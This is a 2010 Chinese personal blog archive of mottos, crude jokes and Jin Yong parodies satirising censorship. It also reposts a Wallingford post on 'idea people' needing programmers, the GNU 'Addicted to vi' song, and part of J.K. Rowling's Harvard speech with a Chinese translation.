2010年12月30日

你和他讲道理,他和你耍流氓;

你和他耍流氓,他和你讲法制;

你和他讲法制,他和你讲政治;

你和他讲政治,他和你讲国情;

你和他讲国情,他和你讲接轨;

你和他讲接轨,他和你讲文化;

你和他讲文化,他和你讲孔子;

你和他讲孔子,他和你讲老子;

你和他讲老子,他给你装孙子;

你也装孙子,他说你傻子;

你真成了傻子,他和你讲道理。

2010年12月18日

"I JUST NEED A PROGRAMMER"

http://www.cs.uni.edu/~wallingf/blog/archives/monthly/2010-12.html#e2010-12-01T15_45_40.htm

As head of the Department of Computer Science at my university, I often receive e-mail and phone calls from people with The Next Great Idea. The phone calls can be quite entertaining! The caller is an eager entrepreneur, drunk on their idea to revolutionize the web, to replace Google, to top Facebook, or to change the face of business as we know it. Sometimes the caller is a person out in the community; other times the caller is a university student in our entrepreneurship program, often a business major. The young callers project an enthusiasm that is almost infectious. They want to change the world, and they want me to help them!

They just need a programmer.

Someone has to take their idea and turn it into PHP, SQL, HTML, CSS, Java, and Javascript. The entrepreneur knows just what he or she needs. Would I please find a CS major or two to join the project and do that?

Most of these projects never find CS students to work on them. There are lots of reasons. Students are busy with classes and life. Most CS students have jobs they like. Those jobs pay hard cash, if not a lot of it, which is more attractive to most students than the promise of uncertain wealth in the future. The idea does not excite other people as much as the entrepreneur, who created the idea and is on fire with its possibilities.

A few of the idea people who don't make connections with a CS student or other programmer contact me a second and third time, hoping to hear good news. The younger entrepreneurs can become disheartened. They seem to expect everyone to be as excited by their ideas as they are. (The optimism of youth!) I always hope they find someone to help them turn their ideas into reality. Doing that is exciting. It also can teach them a lot.

Of course, it never occurs to them that they themselves could learn how to program.

A while back, I tweeted something about receiving these calls. Andrei Savu responded with a pithy summary of the phenomenon I was seeing:

@wallingf it's sad that they see software developers as commodities. product = execution != original idea

As I wrote about at greater length in a recent entry, the value of a product comes from the combination of having an idea andexecuting the idea. Doing the former or having the ability to do the latter aren't worth much by themselves. You have to put the two together.

Many "idea people" tend to think most or all of the value inheres to having the idea. Programmers are a commodity, pulled off the shelf to clean up the details. It's just a small matter of programming, right?

On the other side, some programmers tend to think that most or all of the value inheres to executing the idea. But you can't execute what you don't have. That's what makes it possible for me and my buddy to sit around over General Tsao's chicken and commiserate about lost wealth. It's not really lost; we were never in its neighborhood. We were missing a vital ingredient. And there is no time machine or other mechanism for turning back the clock.

I still wish that some of the idea people had learned how to program, or were willing to learn, so that they could implement their ideas. Then they, too, could know the superhuman strength of watching ideas become tangible. Learning to program used to be aninevitable consequence of using computers. Sadly, that's no longer true. The inevitable consequence of using computers these days seems to be interacting with people we may or may not know well and watching videos.

Oh, and imagining that you have discovered The Next Great Thing, which will topple Google or Facebook. Occasionally, I have an urge to tell the entrepreneurs who call me that their ideas almost certainly won't change the world. But I don't, for at least two reasons. First, they didn't call to ask my opinion. Second, every once in a while a Microsoft or Google or Facebook comes along anddoes change the world. How am I to know which idea is that one in a gazillion that will? If my buddy and I could go back to 2000 and tell our younger and better-looking selves about Facebook, would those guys be foresightful enough to sit down and write it? I suspect not.

How can we know which idea is that one that will change the world? Write the program, work hard to turn it into what people need and want, and cross our fingers. Writing the program is the ingredient the idea people are missing. They are doing the right thing to seek it out. I wonder what it would be like if more people could implement their own ideas.

Posted by Eugene Wallingford 

2010年12月16日

Motto is not MOTO

哪些连鞋都没有的刀客,你对他们有信心吗
――西毒,欧阳锋

2010年12月14日

Motto is not MOTO

"我脱光衣服躺在镜头前,是为了生存。
而你衣冠楚楚的站在镜头前,却只是为了私欲和欺骗。"
――あおい そら

2010年12月11日

Motto is not MOTO

你深情的对我说
永远的爱着我
爱情这东西我知道
但永远是什么?

2010年12月3日

Motto is not MOTO

我到哪里去?我该怎么办?
坦率的说,亲爱的,我一点也不在乎。
――《乱世佳人》

2010年12月1日

Motto is not MOTO

我选了一条人迹稀少的路行走,结果后来的一切都截然不同
――美国诗人弗罗斯特

2010年11月29日

2010年11月27日

little Joke

话说唐僧一天又被女妖精抓去成亲了。
唐僧很镇静,问女妖精:"施主是……?"问女妖精是什么变的。
女妖精把手一伸:"你舔舔就知道了"
唐僧舔了一小口:"弥陀佛,好鲜啊!"
女妖精:"对,我就是鸡精"

2010年11月20日

2010年11月17日

Motto is not MOTO

life is a bitch

...but one that you can't slap.

2010年11月8日

Motto is not MOTO

Not a few people don't have not any trouble understanding a nonshort string of nonpositives.

金庸武侠背后的真实

乔峰在杏林里威风凛凛,突然徐长老现身,指出乔峰身份证和户口本上的民族都是"契丹",乔峰百口莫辩!事后乔峰追问乔三槐,乔三槐一脸惭愧:"唉,当初你不是学习成绩不好么?为了高考加分,我托人送礼给你改成了少数民族……"

菜刀实名制实施后,杨过被请到局子里喝茶了,因为他的君子剑登记主人是公孙止,玄铁重剑登记主人是独孤求败,属于违章使用他人菜刀,全部被公安机关予以扣留。逼于无奈,他只能削了把木剑将就用。

王重阳武功天下第一,被拆迁队逼到躲进地下室勉强度日;丘处机废材一根,拍拍成吉思汗马屁,回家就修了重阳宫。这个故事教育了我们,有本事顶屁用,还得上头有淫! 后来丘处机勾结有关部门试图拔除钉子户杨过,反被烧了老窝。这个故事又教育了我们;上头有淫顶屁用,淫民有燃烧瓶!

欧阳锋派欧阳克赶着毒蛇阵出去执行任务,几天后哭着回到白驼山,所有毒蛇一条都不见了。欧阳锋惊问何故,欧阳克怒答:"麻痹的,老子以后再也不去广东了!"

黄药师派梅超风出去寻找九阴真经,结果梅超风半年未归。黄药师四处打探,一路找到北京,发现梅超风正坐在北医三院门口拉二胡乞讨,不远处的一根电线杆下,洪七公正冷冷地监视着她。

怀孕的包惜弱带着杨铁心的后代嫁给完颜洪烈,若干年后等儿子杨康接受完高等教育后又回到杨铁心身边,残忍地抛弃了完颜洪烈。据考证,这是人类历史上第一起以高考移民为目的的骗婚案。

慕容复带着众家丁去少林寺赴会,路上走得众人大汗淋漓,段誉说:"王姑娘,喝点藿香正气,谨防中暑。"包不同说:"非也非也!现在是秋天怎能中暑?分明应该是中秋!"――这就是人类历史上首次出现"中秋"这个词

红花会派人回到海宁陈家老宅,找到了能证明乾隆汉人身份的证据,差点毁掉了大清朝。从此以后,乾隆爷吸取教训,将旧房拆迁定为大清朝的基本国策

嫦娥偷吃了后羿的药,飞到月亮上去。后羿天天看着月亮上嫦娥的身影,恶向胆边生,于是每天打一张和月亮一样圆的圆饼,把嫦娥的身姿画在面饼上,满怀仇恨地吃下去――你以为这是在讲月饼的起源?错了,这是人类历史上最早的"画圈圈诅咒你"……

桃实仙被岳夫人刺伤,送到平一指处急救。治完伤后,桃实仙醒来,发现自己竟然不能开口说话了。平一指说:"哦,我发现你嘴里长了个溃疡,所以替你把嘴缝上了。"

任我行当教主的时候,东方不败背地里密谋造反,终于推翻了任我行的统治,这说明了对内网络监控的重要性;东方不败上台后,向问天勾结外网人士令狐冲,终于让任我行复辟,这说明了对外构建防火墙的重要性;最后任我行还是用脑过度挂掉了,说明你上防天下防地,也防不住自我嗝儿屁。

郑成功的孙子郑克爽一心想要往上爬,挤兑这个争夺那个,最终下场悲惨,后世的孙子吸取了这个教训:是孙子就应该努力当好孙子,别的什么都不用管――结果人家成将军了。

李莫愁一把拂尘迅若闪电,打得杨过等人无力招架,只好抱头鼠窜。幸好这时他们遇到了冯默风,以一把牛逼哄哄的大剪刀剪断了李莫愁的拂尘,救了众人的性命。李莫愁走后,冯默风擦了把汗,长叹一声:"幸好哥当年在广电总局混过呀!"

东海区域掀起了"唱红歌"高潮,当地政府要求所有单位必须参加,唱红歌为国庆献礼。黄药师不胜其烦,只好养了一堆哑仆。

黄药师选婿,让郭靖和欧阳克各写一篇作文。郭靖绞尽脑汁写足五百字,心头惴惴,不料欧阳克只写了一百四十字,郭靖轻松获胜。欧阳锋大怒,一耳光甩在欧阳克脸上:"s b!叫你天天写微博!"

郭靖和黄蓉走在路上,郭靖忽然收到短信:"你的师父们在桃花岛上受重伤,生命垂危……"黄蓉一把抢过手机,删除了这条短信:"早和你说过了,这种骗子短信看都不要看直接删!"――知道为什么后来郭靖在桃花岛上那么生气了吧?

虚竹收编星宿派门人后左右为难:这些人除了溜须拍马装孙子,什么本事都不会,留在手里干什么呢?迎娶银川公主后,他提出了这个难题,银川公主一笑:"太简单了,明儿咱们西夏国就开办国家电视台和国家日报社。"

欧阳锋逼郭靖交出九阴真经,洪七公出主意,叫郭靖默写出来后先用绿坝过滤一遍……最终欧阳锋走火入魔。

张无忌夜探少林寺,留赵敏一个人在房里,周芷若遂前往暗杀之,却发现房内空空,只能空手而归。事后赵敏后怕地说:"幸好我睡到半夜想起今天的菜还没偷,出门找网吧去了……"

黄蓉被裘千仞打伤,段皇爷为她疗伤,摸遍了全身各处穴道,看得郭靖悲愤不已:"治一个小伤要摸遍全身,怪不得你叫南帝,和那只企鹅是一个地方来的啊。"

谢逊和张翠山夫妇流落到冰火岛,不知这里是什么地方。殷素素打开手提电脑,半分钟后激动地说:"好消息,国外网站一个都上不去,说明我们还在中国境内!"

张无忌从武当山回到光明顶,发现韦一笑一个人在山下徘徊,惊问何故。韦一笑悲愤地说:"那帮孙子商量着要炒农产品赚钱,在光明顶上屯了好多大蒜……"
原作不详,ZZNSM

2010年10月6日

卷帙浩繁和烂片太多

闭眼,有四位作家还想的起来。郑渊洁、JK罗琳、金庸、韩寒


当然还有很多大师的作品我只略知一二;有些读着Happy,但之后并没有Joy;有些文化的原因读着长见识过后却还给作家了
四位里一位是外国友人、女士;二位是写童话出名,而且可能将一直下去;三位的作品一直是畅销书,而且十分有可能是长销书;四位的共同特点,还都健在

有过一年左右的《童话大王》后来不记得是捐了还是卖了,(小学总是有各种理由让我们捐各种东西),郑老师的童话作品很成人,可以说很黄,有些还很暴力,小朋友们看看动画片就好了,原作都是PG级的14岁以后再看会很有体会。我对郑老师就一句话可说:"皮皮鲁和他外国初恋女友后来怎么样了?"
童话读起来都很流畅。郑老师的想像力厉害,但还基本符合科学依据;罗老师创造了一个世界。我要是罗老师估计就陷在北欧神化里出不来了,我目前认为使梆子会72变不用龟派气功的那个是最能打的,虽然能被一些人治住。罗老师指出,从来就没有什么救世主,也没有神仙皇帝。多共产主义啊!偶尔能从书中看到一两句美剧中的那种另人听过后一拍桌子对总结的太对了。
金老师让我认识了什么叫蝇头小仿宋。一本32开的小书D版,从目录之后全是密密麻麻,的小仿宋体,就算不去读内容,光拿在手上,就有一种拿着九阴真经的感觉,不过因为是D版的,多多少少打点折扣,就像葵花宝典好了。和郑老师罗老师一样,读着顺,还能领悟一些道理,虽然我们不在童话中,武术也不像书里写的那样,人也不那么脸谱,但多少还是能影响到我们做事的方法,往好的方面。
韩哥的书里总有些句子也让人想拍桌子。我总想大声的说出来,对,是这么回事!但不会长久的成为长销书的。同样的还有郑老师,但郑老师坏,他知道版权法规定的50年是怎么回事,就按照50年写,50年后能不能卖的好?管它滔天洪水!韩哥的文艺,但太老上海了,而且时代太死,就这几十年,还小于等于30.偶有古典武侠,但我不喜欢古龙的风格。不过说回来了,炸弹人的文学奖还是很喜欢时代特色的,《时代》就更喜欢了。长是个很大的概念,韩哥的书我说卖不长,说的是长不过50年,有点小赔了。

花钱的东西我还算谨慎。不花钱的电影我看的就太多了点,(在中国真好)烂片真是多啊。最近一些国产烂片看都看不到了,真是件好事。

2010年9月22日

Motto is not MOTO

黄忠六十跟刘备,德川家康七十打天下,姜子牙八十为丞相,佘太君百岁挂帅,孙悟空五百多岁西天取经,白素贞一千多岁下山谈恋爱

2010年9月20日

Motto is not MOTO

春有百花秋有月,夏有凉风冬有雪;若无闲事挂心头,便是人间好时节

2010年9月17日

Motto is not MOTO

每个qq隐身的男人女人都是一个翅膀的天使
集齐三个,可以兑换电风扇一个

拍戏都拍不好

英国人和美国人有什么区别?美国人说的比做的多,历届总统;英国人话少,肢体语言多,比如憨豆。这是从电影中得出的结论。
中国呢,从小有思想还敢做的叫主意正,贬义。大家索性长大了走大街上都一个表情,肢体语言少,说的也不多,表情还没有,一种自我保护的样子。太压抑了,所以大家就都喜欢一些夸张的东西。北边有拿地名作人名的,南边有吃咖啡豆时不蘸大蒜的,隔海遥望,有个扯着大家见证奇迹的。
我们的目标是那么的扯蛋,我们的理想是那么的简单。我们让自己不去想该想的,以另世界变得更美好。中国人在与人斗的心理学上登峰造极,却最应该学一学心理学导论。就像只拿着半本九阴真经的梅姐只能练得一手九阴白骨爪,进不得绝顶高手的行列。

2010年9月12日

Motto is not MOTO

当大部分人都在关注你飞的高不高时,只有少部分人关心你飞的累不累

2010年9月9日

vi打油诗一首

Addicted to vi

 [colorful rounded image of the Head of a GNU]
As you sing this, it may help the effect to imagine a dozen women, all of whom resemble Bill Joy, dressed in black and dancing sinuously.  Addicted To vi (with apologies to Robert Palmer)  You press the keys with no effect, Your mode is not correct. The screen blurs, your fingers shake; You forgot to press escape. Can't insert, can't delete, Cursor keys won't repeat. You try to quit, but can't leave, An extra "bang" is all you need.  You think it's neat to type an "a" or an "i"-- Oh yeah? You won't look at emacs, no you'd just rather die You know you're gonna have to face it; You're addicted to vi!  You edit files one at a time; That doesn't seem too out of line? You don't think of keys to bind-- A meta key would blow your mind. H, J, K, L?  You're not annoyed? Expressions must be a Joy! Just press "f", or is it "t"? Maybe "n", or just "g"?  Oh--You think it's neat to type an "a" or an "i"-- Oh yeah? You won't look at emacs, no you'd just rather die You know you're gonna have to face it; You're addicted to vi!  Might as well face it, You're addicted to vi!  You press the keys without effect, Your life is now a wreck. What a waste!  Such a shame! And all you have is vi to blame.  Oh--You think it's neat to type an "a" or an "i"-- Oh yeah? You won't look at emacs, no you'd just rather die You know you're gonna have to face it; You're addicted to vi!  Might as well face it, You're addicted to vi!  Copyright 1989, by Chuck Musciano.  All Rights Reserved  

Other humor in the GNU Humor Collection.

Disclaimer

The song on this page was obtained from the FSF's email archives of the GNU Project. 
The Free Software Foundation claims no copyrights on this song.


Return to GNU's home page.

Please send FSF & GNU inquiries & questions to gnu@gnu.org. There are also other ways to contact the FSF.

Please send comments on these web pages to webmasters@gnu.org, send other questions to gnu@gnu.org.

Copyright © 1999 Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA

Verbatim copying and distribution of this entire article is permitted in any medium, provided this notice is preserved.

Updated: $Date: 2008/05/18 10:02:13 $


2010年9月8日

Motto is not MOTO

拉黑真是个伟大的功能,它实现了真正的双赢:拉黑对方的人觉得不用再跟傻逼费口舌所以眼前清净了;被拉黑的人觉得对方怕了因而很得意,"傻逼慌了吧?说不过我了吧?要不然你干嘛拉黑我啊?

罗永浩

2010年9月7日

The Fringe Benefits of Failure, and the Importance of Imagination

The Fringe Benefits of Failure, and the Importance of Imagination
Harvard University Commencement Address
J.K. Rowling
Tercentenary Theatre, June 5, 2008
失败的好处和想象力的重要性
哈佛大学毕业典礼
J.K. 罗琳
2008年6月5日

President Faust, members of the Harvard Corporation and the Board of Overseers, 
members of the faculty, proud parents, and, above all, graduates,

福斯特主席,哈佛公司和监察委员会的各位成员,
各位老师、家长、全体毕业生们:

The first thing I would like to say is "thank you." Not only has Harvard given me an extraordinary honour, but the weeks of fear and nausea I’ve endured at the thought of giving this commencement address have made me lose weight. A win-win situation! Now all I have to do is take deep breaths, squint at the red banners and convince myself that I am at the world’s largest Gryffindors' reunion.

首先请允许我说一声谢谢。哈佛不仅给了我无上的荣誉,连日来为这个演讲经受的恐惧和紧张,更令我减肥成功。这真是一个双赢的局面。现在我要做的就是深呼吸几下,眯着眼睛看看前面的大红横幅,安慰自己正在世界上最大的魔法学院聚会上。

Delivering a commencement address is a great responsibility; or so I thought until I cast my mind back to my own graduation. The commencement speaker that day was the distinguished British philosopher Baroness Mary Warnock. Reflecting on her speech has helped me enormously in writing this one, because it turns out that I can't remember a single word she said. This liberating discovery enables me to proceed without any fear that I might inadvertently influence you to abandon promising careers in business, law or politics for the giddy delights of becoming a gay wizard.

发表毕业演说是一个巨大的责任,至少在我回忆自己当年的毕业典礼前是这么认为的。那天做演讲的是英国著名的哲学家Baroness Mary Warnock,对她演讲的回忆,对我写今天的演讲稿,产生了极大的帮助,因为我不记得她说过的任何一句话了。这个发现让我释然,让我不再担心我可能会无意中影响你放弃在商业,法律或政治上的大好前途,转而醉心于成为一个快乐的魔法师。

You see? If all you remember in years to come is the 'gay wizard' joke, I've still come out ahead of Baroness Mary Warnock. Achievable goals - the first step to self-improvement.

你们看,如果在若干年后你们还记得“快乐的魔法师”这个笑话,那就证明我已经超越了Baroness Mary Warnock。建立可实现的目标——这是提高自我的第一步。

Actually, I have wracked my mind and heart for what I ought to say to you today. I have asked myself what I wish I had known at my own graduation, and what important lessons I have learned in the 21 years that has expired between that day and this.

实际上,我为今天应该和大家谈些什么绞尽了脑汁。我问自己什么是我希望早在毕业典礼上就该了解的,而从那时起到现在的21年间,我又得到了什么重要的启示。

I have come up with two answers. On this wonderful day when we are gathered together to celebrate your academic success, I have decided to talk to you about the benefits of failure. And as you stand on the threshold of what is sometimes called 'real life', I want to extol the crucial importance of imagination.

我想到了两个答案。在这美好的一天,当我们一起庆祝你们取得学业成就的时刻,我希望告诉你们失败有什么样的益处;在你们即将迈向“现实生活”的道路之际,我还要褒扬想象力的重要性。

These may seem quixotic or paradoxical choices, but bear with me.

这些似乎是不切实际或自相矛盾的选择,但请先容我讲完。

Looking back at the 21-year-old that I was at graduation, is a slightly uncomfortable experience for the 42-year-old that she has become. Half my lifetime ago, I was striking an uneasy balance between the ambition I had for myself, and what those closest to me expected of me.

回顾21岁刚刚毕业时的自己,对于今天42岁的我来说,是一个稍微不太舒服的经历。可以说,我人生的前一部分,一直挣扎在自己的雄心和身边的人对我的期望之间。

I was convinced that the only thing I wanted to do, ever, was to write novels. However, my parents, both of whom came from impoverished backgrounds and neither of whom had been to college, took the view that my overactive imagination was an amusing personal quirk that could never pay a mortgage, or secure a pension.

我一直深信,自己唯一想做的事情,就是写小说。不过,我的父母,他们都来自贫穷的背景,没有任何一人上过大学,坚持认为我过度的想象力是一个令人惊讶的个人怪癖,根本不足以让我支付按揭,或者取得足够的养老金。

I know the irony strikes like with the force of a cartoon anvil now, but…

我现在明白反讽就像用卡通铁砧去打击你,但...

They had hoped that I would take a vocational degree; I wanted to study English Literature. A compromise was reached that in retrospect satisfied nobody, and I went up to study Modern Languages. Hardly had my parents' car rounded the corner at the end of the road than I ditched German and scuttled off down the Classics corridor.

他们希望我去拿个职业学位,而我想去攻读英国文学。最后,达成了一个双方都不甚满意的妥协:我改学现代语言。可是等到父母一走开,我立刻放弃了德语而报名学习古典文学。

I cannot remember telling my parents that I was studying Classics; they might well have found out for the first time on graduation day. Of all the subjects on this planet, I think they would have been hard put to name one less useful than Greek mythology when it came to securing the keys to an executive bathroom.

我不记得将这事告诉了父母,他们可能是在我毕业典礼那一天才发现的。我想,在全世界的所有专业中,他们也许认为,不会有比研究希腊神话更没用的专业了,根本无法换来一间独立宽敞的卫生间。

I would like to make it clear, in parenthesis, that I do not blame my parents for their point of view. There is an expiry date on blaming your parents for steering you in the wrong direction; the moment you are old enough to take the wheel, responsibility lies with you. What is more, I cannot criticise my parents for hoping that I would never experience poverty. They had been poor themselves, and I have since been poor, and I quite agree with them that it is not an ennobling experience. Poverty entails fear, and stress, and sometimes depression; it means a thousand petty humiliations and hardships. Climbing out of poverty by your own efforts, that is indeed something on which to pride yourself, but poverty itself is romanticised only by fools.

我想澄清一下:我不会因为父母的观点,而责怪他们。埋怨父母给你指错方向是有一个时间段的。当你成长到可以控制自我方向的时候,你就要自己承担责任了。尤其是,我不会因为父母希望我不要过穷日子,而责怪他们。他们一直很贫穷,我后来也一度很穷,所以我很理解他们。贫穷并不是一种高贵的经历,它带来恐惧、压力、有时还有绝望,它意味着许许多多的羞辱和艰辛。靠自己的努力摆脱贫穷,确实可以引以自豪,但贫穷本身只有对傻瓜而言才是浪漫的。

What I feared most for myself at your age was not poverty, but failure.

我在你们这个年龄,最害怕的不是贫穷,而是失败。

At your age, in spite of a distinct lack of motivation at university, where I had spent far too long in the coffee bar writing stories, and far too little time at lectures, I had a knack for passing examinations, and that, for years, had been the measure of success in my life and that of my peers.

我在您们这么大时,明显缺乏在大学学习的动力,我花了太久时间在咖啡吧写故事,而在课堂的时间却很少。我有一个通过考试的诀窍,并且数年间一直让我在大学生活和同龄人中不落人后。

I am not dull enough to suppose that because you are young, gifted and well-educated, you have never known hardship or heartbreak. Talent and intelligence never yet inoculated anyone against the caprice of the Fates, and I do not for a moment suppose that everyone here has enjoyed an existence of unruffled privilege and contentment.

我不想愚蠢地假设,因为你们年轻、有天份,并且受过良好的教育,就从来没有遇到困难或心碎的时刻。拥有才华和智慧,从来不会使人对命运的反复无常有所准备;我也不会假设大家坐在这里冷静地满足于自身的优越感。

However, the fact that you are graduating from Harvard suggests that you are not very well-acquainted with failure. You might be driven by a fear of failure quite as much as a desire for success. Indeed, your conception of failure might not be too far from the average person's idea of success, so high have you already flown academically.

相反,你们是哈佛毕业生的这个事实,意味着你们并不很了解失败。你们也许极其渴望成功,所以非常害怕失败。说实话,你们眼中的失败,很可能就是普通人眼中的成功,毕竟你们在学业上已经达到很高的高度了。

Ultimately, we all have to decide for ourselves what constitutes failure, but the world is quite eager to give you a set of criteria if you let it. So I think it fair to say that by any conventional measure, a mere seven years after my graduation day, I had failed on an epic scale. An exceptionally short-lived marriage had imploded, and I was jobless, a lone parent, and as poor as it is possible to be in modern Britain, without being homeless. The fears my parents had had for me, and that I had had for myself, had both come to pass, and by every usual standard, I was the biggest failure I knew.

最终,我们所有人都必须自己决定什么算作失败,但如果你愿意,世界是相当渴望给你一套标准的。所以我承认命运的公平,从任何传统的标准看,在我毕业仅仅七年后的日子里,我的失败达到了史诗般空前的规模:短命的婚姻闪电般地破裂,我又失业成了一个艰难的单身母亲。除了流浪汉,我是当代英国最穷的人之一,真的一无所有。当年父母和我自己对未来的担忧,现在都变成了现实。按照惯常的标准来看,我也是我所知道的最失败的人。

Now, I am not going to stand here and tell you that failure is fun. That period of my life was a dark one, and I had no idea that there was going to be what the press has since represented as a kind of fairy tale resolution. I had no idea how far the tunnel extended, and for a long time, any light at the end of it was a hope rather than a reality.

现在,我不打算站在这里告诉你们,失败是有趣的。那段日子是我生命中的黑暗岁月,我不知道它是否代表童话故事里需要历经的磨难,更不知道自己还要在黑暗中走多久。很长一段时间里,前面留给我的只是希望,而不是现实。

So why do I talk about the benefits of failure? Simply because failure meant a stripping away of the inessential. I stopped pretending to myself that I was anything other than what I was, and began to direct all my energy into finishing the only work that mattered to me. Had I really succeeded at anything else, I might never have found the determination to succeed in the one arena I believed I truly belonged. I was set free, because my greatest fear had already been realised, and I was still alive, and I still had a daughter whom I adored, and I had an old typewriter and a big idea. And so rock bottom became the solid foundation on which I rebuilt my life.

那么为什么我要谈论失败的好处呢?因为失败意味着剥离掉那些不必要的东西。我因此不再伪装自己、远离自我,而重新开始把所有精力放在对我最重要的事情上。如果不是没有在其他领域成功过,我可能就不会找到,在一个我确信真正属于的舞台上取得成功的决心。我获得了自由,因为最害怕的虽然已经发生了,但我还活着,我仍然有一个我深爱的女儿,我还有一个旧打字机和一个很大的想法。所以困境的谷底,成为我重建生活的坚实基础。

You might never fail on the scale I did, but some failure in life is inevitable. It is impossible to live without failing at something, unless you live so cautiously that you might as well not have lived at all – in which case, you fail by default.

你们可能永远没有达到我经历的那种失败程度,但有些失败,在生活中是不可避免的。生活不可能没有一点失败,除非你生活的万般小心,而那也意味着你没有真正在生活了。无论怎样,有些失败还是注定地要发生。

Failure gave me an inner security that I had never attained by passing examinations. Failure taught me things about myself that I could have learned no other way. I discovered that I had a strong will, and more discipline than I had suspected; I also found out that I had friends whose value was truly above rubies.

失败使我的内心产生一种安全感,这是我从考试中没有得到过的。失败让我看清自己,这也是我通过其他方式无法体会的。我发现,我比自己认为的,要有更强的意志和决心。我还发现,我拥有比宝石更加珍贵的朋友。

The knowledge that you have emerged wiser and stronger from setbacks means that you are, ever after, secure in your ability to survive. You will never truly know yourself, or the strength of your relationships, until both have been tested by adversity. Such knowledge is a true gift, for all that it is painfully won, and it has been worth more to me than any qualification I ever earned.

从挫折中获得智慧、变得坚强,意味着你比以往任何时候都更有能力生存。只有在逆境来临的时候,你才会真正认识你自己,了解身边的人。这种了解是真正的财富,虽然是用痛苦换来的,但比我以前得到的任何资格证书都有用。

Given a time machine or a Time Turner, I would tell my 21-year-old self that personal happiness lies in knowing that life is not a check-list of acquisition or achievement. Your qualifications, your CV, are not your life, though you will meet many people of my age and older who confuse the two. Life is difficult, and complicated, and beyond anyone's total control, and the humility to know that will enable you to survive its vicissitudes.

如果给我一部时间机器,我会告诉21岁的自己,人的幸福在于知道生活不是一份漂亮的成绩单,你的资历、简历,都不是你的生活,虽然你会碰到很多与我同龄或更老一点的人今天依然还在混淆两者。生活是艰辛的,复杂的,超出任何人的控制能力,而谦恭地了解这一点,将使你历经沧桑后能够更好的生存。

You might think that I chose my second theme, the importance of imagination, because of the part it played in rebuilding my life, but that is not wholly so. Though I will defend the value of bedtime stories to my last gasp, I have learned to value imagination in a much broader sense. Imagination is not only the uniquely human capacity to envision that which is not, and therefore the fount of all invention and innovation. In its arguably most transformative and revelatory capacity, it is the power that enables us to empathise with humans whose experiences we have never shared.

对于第二个主题的选择——想象力的重要性——你们可能会认为是因为它对我重建生活起到了帮助,但事实并非完全如此。虽然我愿誓死捍卫睡前要给孩子讲故事的价值观,我对想象力的理解已经有了更广泛的含义。想象力不仅仅是人类设想还不存在的事物这种独特的能力,为所有发明和创新提供源泉,它还是人类改造和揭露现实的能力,使我们同情自己不曾经受的他人苦难。

One of the greatest formative experiences of my life preceded Harry Potter, though it informed much of what I subsequently wrote in those books. This revelation came in the form of one of my earliest day jobs. Though I was sloping off to write stories during my lunch hours, I paid the rent in my early 20s by working in the research department at Amnesty International's headquarters in London.

其中一个影响最大的经历发生在我写哈利波特之前,为我随后写书提供了很多想法。这些想法成形于我早期的工作经历,在20多岁时,尽管我可以在午餐时间里悄悄写故事,可为了付房租,我做的主要工作是在伦敦总部的大赦国际研究部门。

There in my little office I read hastily scribbled letters smuggled out of totalitarian regimes by men and women who were risking imprisonment to inform the outside world of what was happening to them. I saw photographs of those who had disappeared without trace, sent to Amnesty by their desperate families and friends. I read the testimony of torture victims and saw pictures of their injuries. I opened handwritten, eye-witness accounts of summary trials and executions, of kidnappings and rapes.

在我的小办公室,我看到了人们匆匆写的信件,它们是从极权主义政权被偷送出来的。那些人冒着被监禁的危险,告知外面的世界他们那里正在发生的事情。我看到了那些无迹可寻的人的照片,它们是被那些绝望的家人和朋友送来的。我看过拷问受害者的证词和被害的照片。我打开过手写的目击证词,描述绑架和强奸犯的审判和处决。

Many of my co-workers were ex-political prisoners, people who had been displaced from their homes, or fled into exile, because they had the temerity to think independently of their government. Visitors to our office included those who had come to give information, or to try and find out what had happened to those who they had left behind.

我有很多的同事是前政治犯,他们已离开家园流离失所,或逃亡流放,因为他们敢于怀疑政府、独立思考。来我们办公室的访客,包括那些前来提供信息,或想设法知道那些被迫留下的同志发生了什么事的人。

I shall never forget the African torture victim, a young man no older than I was at the time, who had become mentally ill after all he had endured in his homeland. He trembled uncontrollably as he spoke into a video camera about the brutality inflicted upon him. He was a foot taller than I was, and seemed as fragile as a child. I was given the job of escorting him to the Underground Station afterwards, and this man whose life had been shattered by cruelty took my hand with exquisite courtesy, and wished me future happiness.

我将永远不会忘记一个非洲酷刑的受害者,一名当时还没有我大的年轻男子,他因在故乡的经历而精神错乱。在摄像机前讲述被残暴地摧残的时候,他颤抖失控。他比我高一英尺,却看上去像一个脆弱的儿童。我被安排随后护送他到地铁站,这名生活已被残酷地打乱的男子,小心翼翼地握着我的手,祝我未来生活幸福。

And as long as I live I shall remember walking along an empty corridor and suddenly hearing, from behind a closed door, a scream of pain and horror such as I have never heard since. The door opened, and the researcher poked out her head and told me to run and make a hot drink for the young man sitting with her. She had just given him the news that in retaliation for his own outspokenness against his country's regime, his mother had been seized and executed.

只要我活着,我还会记得,在一个空荡荡的的走廊,突然从背后的门里,传来我从未听过的痛苦和恐惧的尖叫。门打开了,调查员探出头请求我,为坐在她旁边的青年男子,调一杯热饮料。她刚刚给他的消息是,为了报复他对国家政权的批评,他的母亲已经被捕并执行了枪决。

Every day of my working week in my early 20s I was reminded how incredibly fortunate I was, to live in a country with a democratically elected government, where legal representation and a public trial were the rights of everyone.

在我20多岁的那段日子,每一天的工作,都在提醒我自己是多么幸运。生活在一个民选政府的国家,依法申述与公开审理,是所有人的权利。

Every day, I saw more evidence about the evils humankind will inflict on their fellow humans, to gain or maintain power. I began to have nightmares, literal nightmares, about some of the things I saw, heard and read.

每一天,我都能看到更多有关恶人的证据,他们为了获得或维持权力,对自己的同胞犯下暴行。我开始做噩梦,真正意义上的噩梦,全都和我所见所闻有关。

And yet I also learned more about human goodness at Amnesty International than I had ever known before.

同时在这里我也了解到更多关于人类的善良,比我以前想象的要多很多。

Amnesty mobilises thousands of people who have never been tortured or imprisoned for their beliefs to act on behalf of those who have. The power of human empathy, leading to collective action, saves lives, and frees prisoners. Ordinary people, whose personal well-being and security are assured, join together in huge numbers to save people they do not know, and will never meet. My small participation in that process was one of the most humbling and inspiring experiences of my life.

大赦动员成千上万没有因为个人信仰而受到折磨或监禁的人,去为那些遭受这种不幸的人奔走。人类同理心的力量,引发集体行动,拯救生命,解放囚犯。个人的福祉和安全有保证的普通百姓,携手合作,大量挽救那些他们素不相识,也许永远不会见面的人。我用自己微薄的力量参与了这一过程,也获得了更大的启发。

Unlike any other creature on this planet, humans can learn and understand, without having experienced. They can think themselves into other people's minds, imagine themselves into other people's places.

不同于在这个星球上任何其他的动物,人类可以学习和理解未曾经历过的东西。他们可以将心比心、设身处地的理解他人。

